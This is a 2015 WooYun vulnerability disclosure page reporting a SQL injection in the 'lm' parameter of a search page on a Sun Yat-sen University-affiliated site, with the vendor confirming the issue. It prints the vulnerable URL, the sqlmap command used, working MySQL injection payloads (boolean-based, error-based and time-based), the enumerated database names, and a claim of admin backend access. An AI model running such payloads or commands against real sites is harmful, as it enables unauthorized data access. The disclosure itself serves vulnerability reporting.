当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0139777

漏洞标题:中山大学某站SQL注入一枚

相关厂商:中山大学

漏洞作者: 路人甲

提交时间:2015-09-08 18:08

修复时间:2015-10-23 19:10

公开时间:2015-10-23 19:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-08: 细节已通知厂商并且等待厂商处理中
2015-09-08: 厂商已经确认,细节仅向厂商公开
2015-09-18: 细节向核心白帽子及相关领域专家公开
2015-09-28: 细节向普通白帽子公开
2015-10-08: 细节向实习白帽子公开
2015-10-23: 细节向公众公开

简要描述:

0.0

详细说明:

搜索框处,get传参,lm参数:
http://www.lcsysu.com/news_ser.php?lm=4%27&keyword=1
未加单引号保护

B1Z(ISG(3MMKT]U~SUXC@WH.png


C:\Python27\sqlmap>sqlmap.py -u "http://www.lcsysu.com/news_ser.php?lm=4&keyword
=1" -p "lm" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:10:18
[17:10:18] [INFO] resuming back-end DBMS 'mysql'
[17:10:18] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: lm (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: lm=4) AND 2421=2421 AND (9931=9931&keyword=1
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: lm=4) AND (SELECT 2292 FROM(SELECT COUNT(*),CONCAT(0x716b786b71,(SE
LECT (ELT(2292=2292,1))),0x717a787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA
.CHARACTER_SETS GROUP BY x)a) AND (2675=2675&keyword=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: lm=4) AND (SELECT * FROM (SELECT(SLEEP(5)))Ukda) AND (1934=1934&key
word=1
---
[17:10:19] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[17:10:19] [INFO] fetching database names
[17:10:19] [INFO] the SQL query used returns 2 entries
[17:10:19] [INFO] resumed: information_schema
[17:10:19] [INFO] resumed: zddt
available databases [2]:
[*] information_schema
[*] zddt

漏洞证明:

已入后台:

@$}`Q)LGRCR8BV89$AL5J8L.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2015-09-08 19:08

厂商回复:

这是高校很普遍存在的二、三级单位私设站点情况。感谢提醒,我们已通知相关单位处理。

最新状态:

暂无